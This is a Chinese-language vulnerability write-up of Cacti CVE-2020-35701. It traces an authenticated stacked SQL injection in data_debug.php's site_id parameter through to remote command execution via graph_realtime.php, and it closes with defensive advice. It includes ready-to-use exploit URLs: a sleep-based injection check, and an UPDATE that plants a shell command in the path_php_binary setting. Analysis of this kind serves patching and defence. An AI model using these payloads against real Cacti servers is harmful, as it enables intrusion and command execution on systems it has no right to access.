cacti cve-2020-35701 后台sql注入到后台RCE 分析
字数 934 2025-08-24 07:48:10
Cacti CVE-2020-35701 漏洞分析与利用指南
漏洞概述
Cacti 1.2.x 至 1.2.16 版本存在一个严重的SQL注入漏洞(CVE-2020-35701),该漏洞允许经过身份验证的攻击者通过构造恶意请求实现从SQL注入到远程代码执行(RCE)的完整攻击链。
漏洞原理分析
1. SQL注入点分析
漏洞位于data_debug.php文件中,具体流程如下:
- 文件首先获取
action参数 - 使用switch语句对不同action值进行不同操作
- 当
action=ajax_hosts时,系统会获取site_id参数 - 关键问题:未对
site_id参数进行任何过滤
2. 漏洞调用链
data_debug.php (接收site_id参数)
↓
auth.php的get_allowed_ajax_hosts函数
↓
get_allowed_devices函数 (直接拼接SQL语句)
3. 注入类型
由于SQL语句直接拼接用户输入且未使用预处理语句,导致可以构造堆叠注入(Stacked Query),即可以执行多条SQL语句。
漏洞复现步骤
1. 验证SQL注入
构造如下POC验证注入:
http://[target]/cacti/data_debug.php?action=ajax_hosts&site_id=1;select sleep(10)-- -
如果服务器响应延迟10秒,则证明注入存在。
2. 寻找RCE路径
通过全局搜索发现graph_realtime.php中存在危险函数调用:
shell_exec($config["path_php_binary"] . " " . $args);
其中path_php_binary参数从数据库的settings表中读取,且可被修改。
3. 完整利用链
- 通过SQL注入修改settings表中的
path_php_binary值 - 访问
graph_realtime.php触发命令执行
详细利用过程
第一步:修改数据库配置
构造如下请求修改path_php_binary值:
http://[target]/cacti/data_debug.php?action=ajax_hosts&site_id=1;update settings set value='whoami > /tmp/9.txt;' where name='path_php_binary';-- -
执行后验证数据库是否更新成功。
第二步:触发命令执行
访问以下URL触发命令执行:
http://[target]/cacti/graph_realtime.php
命令执行结果将写入/tmp/9.txt文件。
防御建议
- 升级到Cacti最新版本
- 对所有用户输入进行严格过滤和验证
- 使用参数化查询(Prepared Statements)替代直接SQL拼接
- 实施最小权限原则,限制数据库用户权限
- 对关键配置文件进行权限控制
总结
该漏洞展示了从SQL注入到RCE的完整攻击链,利用过程分为两个阶段:
- 通过未过滤的
site_id参数实现SQL注入 - 通过修改数据库配置实现命令执行
漏洞危害性高,建议受影响用户立即采取防护措施。